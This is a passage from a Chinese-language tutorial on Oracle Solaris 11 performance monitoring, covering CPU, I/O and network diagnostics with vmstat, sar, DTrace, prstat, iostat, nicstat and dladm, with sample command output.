21:52:47     2.0     100     0.0       0
21:52:48     1.0     100     0.0       0
21:52:49     1.0     100     0.0       0
Average      1.3      75     0.0       0

%runocc 文件解释了平均运行队列占用情况,帮助我们识别运行队列中的突发情况。

回到 vmstat 的输出,其他有用的字段包括 cpu: us(用户时间——CPU 花费多少时间处理用户线程)、cpu: sy(系统时间——CPU 花费多少时间处理内核线程和系统调用)、cpu: id(空闲时间——CPU 等待可运行线程的时间百分比)。评估潜在 CPU 问题的一个实际方法是考虑用户时间(cpu: us)和系统时间(cpu: sy)的良好平衡,大约是 90/10(具体取决于系统中运行的应用程序)。此外,最大上限为 70/30。任何显示不同于这些范围的系统都值得调查。

可以通过执行类似以下的命令以相似的方式查看大部分前面提到的列:

root@solaris11-1:~# sar 1 3
SunOS solaris11-1 5.11 11.1 i86pc    05/21/2014
20:39:05    %usr    %sys    %wio   %idle
20:39:06       3       5       0      92
20:39:07       2       2       0      96
20:39:08       3       3       0      94

Average        3       3       0      94

集中关注系统时间和用户时间,接下来的命令将追踪哪些进程正在占用 CPU,正在运行什么用户代码,以及哪些内核函数正在运行在 CPU 上(系统时间)。因此,如果我们需要知道哪些进程正在 CPU 上运行,可以执行以下命令:

root@solaris11-1:~# dtrace -n 'profile-993Hz {@[pid,execname] = count (); }'
dtrace: description 'profile-993Hz ' matched 1 probe
^C

       13  svc.configd                                  1
      928  fmd                                          1
     1817  gnome-settings-d                             1
     1824  nautilus                                     1
     1847  updatemanagernot                             1
     1854  xscreensaver                                 1
     1858  nwam-manager                                 1
     1839  gnome-power-mana                             2
      849  VBoxService                                  3
     1899  dtrace                                       3
     1820  metacity                                     4
     1829  wnck-applet                                  4
     1821  gnome-panel                                  5
        6  kmem_task                                    7
     1873  clock-applet                                 7
        3  fsflush                                     12
     1896  gnome-terminal                              25
     1162  Xorg                                        27
     1840  java                                        94
        0  sched                                    14985

在这种情况下,sched 进程(Oracle Solaris 调度程序)占用了大部分 CPU 时间。此外,JavaXorg 进程也占用了相当多的 CPU 时间。

要查找哪些进程占用了更多的用户时间(即运行用户代码),可以执行以下命令:

root@solaris11-1:~# dtrace -n 'profile-993hz /arg1/ { @[pid,execname] = count(); }'
dtrace: description 'profile-993hz ' matched 1 probe
^C
     1919  dtrace                                      1
     1152  Xorg                                        6
     1892  gnome-terminal                              9
     1830  java                                       34
     1901  firefox                                    49

根据输出,firefox 进程占用了更多的 CPU 时间。

按照同样的思路,可以通过执行以下命令获取正在占用 CPU 的顶级内核函数(%sys 时间):

root@solaris11-1:~# dtrace -n 'profile-993hz /arg0/ { @[func(arg0)] = count() ;}'
dtrace: description 'profile-993hz ' matched 1 probe
(truncated output)
genunix`fsflush_do_pages                        14
  unix`ddi_get32                                31
  unix`i86_monito                               76
  unix`cpu_idle_enter                          125
  unix`tsc_read                                152
  unix`dispatch_softint                        263
  unix`i86_mwait                             24424

在通过 prstat 命令管理处理时,也会检查 CPU 饱和度:

root@solaris11-1:~# prstat -mLc 1 1
Please wait...
   PID USERNAME USR SYS TRP TFL DFL LCK SLP LAT VCX ICX SCL SIG PROCESS/LWPID 
  2618 root      15  84 0.0 0.0 0.0 0.0 0.0 0.3   0  13  8K   0 prstat/1
  1953 pkg5srv  0.2 1.4 0.0 0.0 0.0 0.0  98 0.4  19   0 147   0 htcacheclean/1
  2530 root     0.6 0.6 0.0 0.0 0.0  98 0.0 0.7  39   0  60   0 java/22
  2530 root     0.4 0.4 0.0 0.0 0.0  99 0.0 0.6  20   0  40   0 java/21
  2563 root     0.2 0.5 0.0 0.0 0.0 0.0  99 0.4  38   0  76   0 
(truncated output)

在前面的命令中,我们可以看到总共 120 个进程;830 个 LWP;以及 0.12、0.11、0.13 的负载平均值。LAT(延迟)列表示进程等待 CPU 的时间量,常数值超过 1 时需要进行详细调查。如果某个进程或线程的值不正常,Oracle Solaris 提供了深入调查问题的方式。例如,java 进程的延迟(LAT)值为 0.7(这是一个非常低的值,在实际情况中不值得调查),但是如果我们想要收集所有线程的详细信息,可以执行以下命令:

root@solaris11-1:~# prstat -mL -p 2530
PID USERNAME USR SYS TRP TFL DFL LCK SLP LAT VCX ICX SCL SIG PROCESS/LWPID 
  2530 root     0.5 0.5 0.0 0.0 0.0  98 0.0 0.9 201   0 300   0 java/22
  2530 root     0.4 0.4 0.0 0.0 0.0  99 0.0 0.5 100   0 201   0 java/21
  2530 root     0.2 0.2 0.0 0.0 0.0 100 0.0 0.1  99   0  99   0 java/14
  2530 root     0.0 0.0 0.0 0.0 0.0 0.0 100 0.0  10   0  30   0 java/17
(truncated output)

可以通过执行以下命令验证特定线程的堆栈:

root@solaris11-1:~# pstack 2530/22
2530:  java -Djava.security.policy=/usr/share/vpanels/java.policy com.oracle.
-----------------  lwp# 22 / thread# 22  --------------------
 fe6893a5 lwp_cond_wait (8966640, 8966628, f527e9d8, 0)
 fe65e2a4 _lwp_cond_timedwait (8966640, 8966628, f527ea20, fe10f9f1) + 37
 fe10fd2d __1cGParkerEpark6Mbx_v_ (8966628) + 34d
 fe272980 Unsafe_Park (8965d28, f527eab4, 0, 2e95966, 0, af8a18f0) + 208
 fa2ce072 * *sun/misc/Unsafe.park(ZJ)V [compiled] 
 fa330790 * *java/util/concurrent/locks/LockSupport.parkNanos(Ljava/lang/Object;J)V [compiled] +21 (line 449)
 fa330790 * *java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject.awaitNanos(J)J+69 (line 4153)
 fa330790 * *java/util/concurrent/DelayQueue.take()Ljava/util/concurrent/Delayed;+133 (line 484)
 00000000 ???????? (da647c20, da647c20, af8ac070, 0, 2d, ab5463b8) + ffffffff01d8d888
 ab7a4350 ???????? () + ffffffffad531bd8

lwp_cond_wait_lwp_cond_timedwait 函数通常等待由 LWP 条件变量表示的条件的发生。在这种情况下,两个函数都在等待 CPU。

最终,mpstat 命令可以帮助我们区分各 CPU 之间的负载,如下所示:

root@solaris11-1:~# mpstat 1 1
 CPU minf mjf xcal  intr ithr  csw icsw migr smtx  srw syscl  usr sys  wt idl
   0  331   0   21   490  127  714   10   66   39    1  2286    5  12   0  84
   1  386   0   17   236   36  609    9   60   38    1  1988    4   9   0  86
   2  264   0   22   281  114  566    9   58   35    1  1817    4  11   0  85
   3  299   0   16   227   37  669    9   65   37    1  1930    4   9   0  87

这里,minf(小错误—未在缓存中找到的页面,已从内存中获取)、mjf(大错误—未在内存中找到的页面,已从磁盘中获取)、xcal(跨调用)和intr(CPU 接收到的中断数量)。可以说,cross-calls是执行特定低级功能的 CPU 或核心之间的调用。此外,cross-calls还需要保持缓存的一致性,因为 CPU 的缓存中存在过时的条目。通常,cross-calls源于释放内存的需求,这些功能如kmen_free()会执行该操作。中断(intr列)由内核使用,当它需要另一个处理器代表其执行工作时,例如抢占调度程序(线程信号,一个在另一个处理器上运行的线程进入内核模式)以向另一个处理器上的线程发送信号并启动/停止不同处理器上的/proc线程。mpstat命令本身不会直接显示性能瓶颈,但它有助于我们对系统有一个总体的了解,正如前面所示。例如,继续前面的例子,可以通过运行以下命令列出一个进程执行的跨调用次数:

root@solaris11-1:~# dtrace -n 'sysinfo:::xcalls { @[execname] = count(); }'
dtrace: description 'sysinfo:::xcalls ' matched 1 probe
^C
  pargs                                                            36
  sched                                                          2156
  dtrace                                                         2607

执行常见监控命令如mpstatsarvmstatiostat,然后进行详细的 DTrace 调查,是找出导致问题的应用程序或进程的典型方法。

现在,我们将重点转向 I/O 性能。也许分析 I/O 潜在问题的最基本命令是iostat命令:

root@solaris11-1:~# iostat -xnze 1
                            extended device statistics       ---- errors --- 
    r/s    w/s   kr/s   kw/s wait actv wsvc_t asvc_t  %w  %b s/w h/w trn tot device
    1.7    0.4   18.2    5.1  0.0  0.0   12.7   11.7   1   2   0   0   0   0 c7t0d0
    0.0    0.0    0.1    0.0  0.0  0.0    0.1    9.2   0   0   0   0   0   0 c7t1d0
    0.1    0.0    0.4    0.1  0.0  0.0    7.1   14.9   0   0   0   0   0   0 c7t2d0
 (truncated output)

输出显示每个磁盘的统计信息。使用的选项包括–n(使用逻辑名称)、-x(显示扩展统计信息)、-e(显示错误统计信息)和–z(不显示没有活动的行)。此外,一些列非常重要,比如wait(队列中等待磁盘的事务的平均数量)、actv(正在处理的事务数量)、wsvc_t(事务在 I/O 等待队列中花费的平均时间)和%b(磁盘处于活动状态的时间百分比)。从这个解释来看,wait列值得关注,因为它是磁盘饱和度的一个度量,理想情况下,它应该始终为零。

一个非常好的工具(来自 DTraceToolkit)是iotop.d脚本,它按照进程排序打印 I/O 详细信息,并显示 I/O 大小(BYTES列),如下命令所示:

root@solaris11-1:~# cd /usr/dtrace/DTT/Bin/
root@solaris11-1:/usr/dtrace/DTT/Bin# ./iotop -PC
2014 May 22 05:18:15,  load: 0.38,  disk_r:    559 KB,  disk_w:   4053 KB

  UID    PID   PPID CMD              DEVICE  MAJ MIN D            BYTES
    0   2768      1 firefox          sd0     217   1 R           572928
    0      5      0 zpool-rpool      sd0     217   1 W          4282880
(truncated output)

我们可以去掉–P选项,以防止输出滚动并刷新屏幕。

最后,我们需要监控网络接口并寻找网络瓶颈,因此有一些好的工具可以完成这项任务。例如,netstat命令是一个简单有效的命令,用于收集网络信息并分析是否发生碰撞,如下命令所示:

root@solaris11-1:~# netstat -i 1
    input   net0      output     input  (Total)    output
packets errs  packets errs  colls  packets errs  packets errs  colls 
338712  0     180791  0     0      339832  0     181911  0     0     
4       0     1       0     0      4       0     1       0     0     
5       0     1       0     0      5       0     1       0     0     
6       0     1       0     0      6       0     1       0     0     
4       0     1       0     0      4       0     1       0     0     
4       0     1       0     0      4       0     1       0     0     
(truncated output)

还有一个非常棒的工具,叫做nicstat,它可以帮助我们找出网络中的潜在瓶颈。然而,它是一个外部工具,安装起来稍微有些复杂。不过,必须从sourceforge.net/projects/nicstat/files/下载nicstat工具。此外,最好下载最新版本(包含更多功能),但我们需要编译它。

在本次演示中,我使用的是sourceforge.net/projects/nicstat/files/latest/download?source=files中的版本(nicstat-src-1.95.tar.gz)。

下载完包之后,我们需要通过执行以下命令打开它:

root@solaris11-1:~/Downloads# tar zxvf nicstat-src-1.95.tar.gz

然而,这次我们遇到了一个问题;需要一个编译器来创建nicstat二进制文件!请访问www.oracle.com/technetwork/server-storage/solarisstudio/downloads/index-jsp-141149.html下载 Oracle Solaris Studio 12.3,并点击pkg-register.oracle.com下载适用于 Oracle Solaris 11 x86 的版本。之后,我们需要创建个人 SSL 证书,以便访问包含 Oracle Solaris Studio 和 Oracle Solaris Cluster 等软件包的受限仓库。因此,请点击Request Certificate链接。系统将引导你到一个页面,下载密钥和证书。建议将这两者保存在/root/Downloads目录中。

注意

Oracle Solaris Studio 安装了一个非常有趣的工具,叫做er_kernel,它用于仅对内核或同时对内核和我们运行的负载进行分析。关于er_kernel工具的更多信息(包括示例),可以查看docs.oracle.com/cd/E18659_01/html/821-1379/afahw.html

以下步骤是必要的,用于安装密钥和证书,将新的发布者(solarisstudio)添加到系统中,测试我们是否能够列出 Oracle Solaris Studio 文件,并随后安装 Oracle Solaris Studio,具体命令如下:

root@solaris11-1:~# mkdir -m 0755 -p /var/pkg/ssl
root@solaris11-1:~# cp ~/Downloads/Oracle_Solaris_Studio.key.pem /var/pkg/ssl
root@solaris11-1:~# cp ~/Downloads/Oracle_Solaris_Studio.certificate.pem /var/pkg/ssl
root@solaris11-1:~# pkg set-publisher -k /var/pkg/ssl/Oracle_Solaris_Studio.key.pem -c /var/pkg/ssl/Oracle_Solaris_Studio.certificate.pem -G '*' -g https://pkg.oracle.com/solarisstudio/release solarisstudio
root@solaris11-1:~# pkg list -a pkg://solarisstudio/*
NAME (PUBLISHER)                                  VERSION                    IFO
developer/solarisstudio-122 (solarisstudio)       12.2-1.0.0.0               ---
developer/solarisstudio-122/analyzer (solarisstudio) 12.2-1.0.0.0               ---
(truncated output)
root@solaris11-1:~# pkg install solarisstudio-123
           Packages to install: 24
       Create boot environment: No
Create backup boot environment: No
(truncated output)
DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
Completed                              24/24     9913/9913  457.1/457.1  301k/s

PHASE                                          ITEMS
Installing new actions                   15563/15563
Updating package state database                 Done 
Updating image state                            Done 
Creating fast lookup database                   Done 

这很好!由于 Oracle Solaris Studio 是安装在系统的可执行路径之外,我们必须通过执行以下命令将其包含在PATH变量中:

root@solaris11-1:~/Downloads# cd
root@solaris11-1:~# echo PATH=$PATH:/opt/solarisstudio12.3/bin >> /root/.profile 
root@solaris11-1:~# echo export PATH >> /root/.profile 
root@solaris11-1:~# . ./.profile

返回到nicstat目录并执行以下命令进行编译:

root@solaris11-1:~# cd /root/Downloads/nicstat-src-1.95
root@solaris11-1:~/Downloads/nicstat-src-1.95# cp Makefile.Solaris Makefile
root@solaris11-1:~/Downloads/nicstat-src-1.95# make
root@solaris11-1:/tmp/nicstat-src-1.95# cp .nicstat.Solaris_11_i386 nicstat
root@solaris11-1:~/Downloads/nicstat-src-1.95# file nicstat
nicstat:  ELF 32-bit LSB executable 80386 Version 1 [FPU], dynamically linked, not stripped

最后,我们可以使用这个超棒的nicstat工具!首先,使用nicstat工具列出可用的接口,命令如下:

root@solaris11-1:~/Downloads/nicstat-src-1.95# ./nicstat –l
Int      Loopback   Mbit/s Duplex State
lo0           Yes        -   unkn    up
net0           No     1000   full    up
vswitch1       No        0   unkn  down
vnic0          No    40000   unkn    up
vnic1          No    40000   unkn    up
vnic2          No    40000   unkn    up

nicstat工具有多个选项,可以通过执行以下命令查看:

root@solaris11-1:~/Downloads/nicstat-src-1.95# ./nicstat -h
USAGE: nicstat [-hvnsxpztualMU] [-i int[,int...]]
   [interval [count]]
         -h                 # help
         -v                 # show version (1.95)
         -i interface       # track interface only
         -n                 # show non-local interfaces only (exclude lo0)
         -s                 # summary output
         -x                 # extended output
         -p                 # parseable output
         -z                 # skip zero value lines
         -t                 # show TCP statistics
         -u                 # show UDP statistics
         -a                 # equivalent to "-x -u -t"
         -l                 # list interface(s)
         -M                 # output in Mbits/sec
         -U                 # separate %rUtil and %wUtil
    eg,
       nicstat              # print summary since boot only
       nicstat 1            # print every 1 second
       nicstat 1 5          # print 5 times only
       nicstat -z 1         # print every 1 second, skip zero lines
       nicstat -i hme0 1    # print hme0 only every 1 second

基于可用的选项,以下命令可以为我们提供扩展的输出,去除了零值行,并且将%rUtil%wUtil列分开:

root@solaris11-1:~/Downloads/nicstat-src-1.95# ./nicstat -zUx 1
14:41:16      RdKB    WrKB   RdPkt   WrPkt   IErr  OErr  Coll  NoCP Defer %rUtil %wUtil
lo0           0.00    0.00    0.00    0.00   0.00  0.00  0.00  0.00  0.00   0.00   0.00
net0          0.00    0.00    0.00    0.00   0.00  0.00  0.00  0.00  0.00   0.00   0.00
14:41:17      RdKB    WrKB   RdPkt   WrPkt   IErr  OErr  Coll  NoCP Defer %rUtil %wUtil
net0          0.22    0.10    3.00    1.00   0.00  0.00  0.00  0.00  0.00   0.00   0.00
14:41:18      RdKB    WrKB   RdPkt   WrPkt   IErr  OErr  Coll  NoCP Defer %rUtil %wUtil
net0          0.28    0.09    3.96    0.99   0.00  0.00  0.00  0.00  0.00   0.00   0.00
^C

nicstat 工具中最重要的列是 rAvs(接收数据包的平均大小)、wAvs(传输数据包的平均大小)、%Util(接口的最大利用率)和 Sat(接口每秒的错误数,若出现这种情况,可能是接口接近饱和的迹象)。

最后,管理员可以通过运行以下命令来收集特定网络接口的统计数据:

root@solaris11-1:~# dladm show-link -s -i 1 net0
LINK                IPACKETS  RBYTES  IERRORS   OPACKETS    OBYTES      OERRORS
net0                365079    488320923 0       190053      16047649    0
net0                9         1044    0         4           591         0
net0                6         446     0         3           278         0
net0                7         538     0         1           98          0
(truncated output)

在前面的命令中,各列的含义如下:

  • LINK:指数据链路的名称

  • IPACKETS:通过该链路接收的包的数量

  • RBYTES:通过该链路接收的字节数

  • IERRORS:输入错误的数量

  • OPACKETS:通过该链路发送的包的数量

  • OBYTES:通过该链路发送的字节数

  • OERRORS:输出错误的数量

该配方的概述

本章介绍了如何配置 syslog 框架以记录系统的消息和事件。此外,我们简要介绍了如何使用多个命令(如 vmstatsarprstatkstatmdbiostat 等)监控 Oracle Solaris 11 系统的性能。我们还使用了其他工具,如 DTrace 和 DTraceToolkit 脚本,来衡量 Oracle Solaris 11 系统的性能。

参考文献

posted @ 2025-07-05 19:50  绝不原创的飞龙  阅读(47)  评论(0)    收藏  举报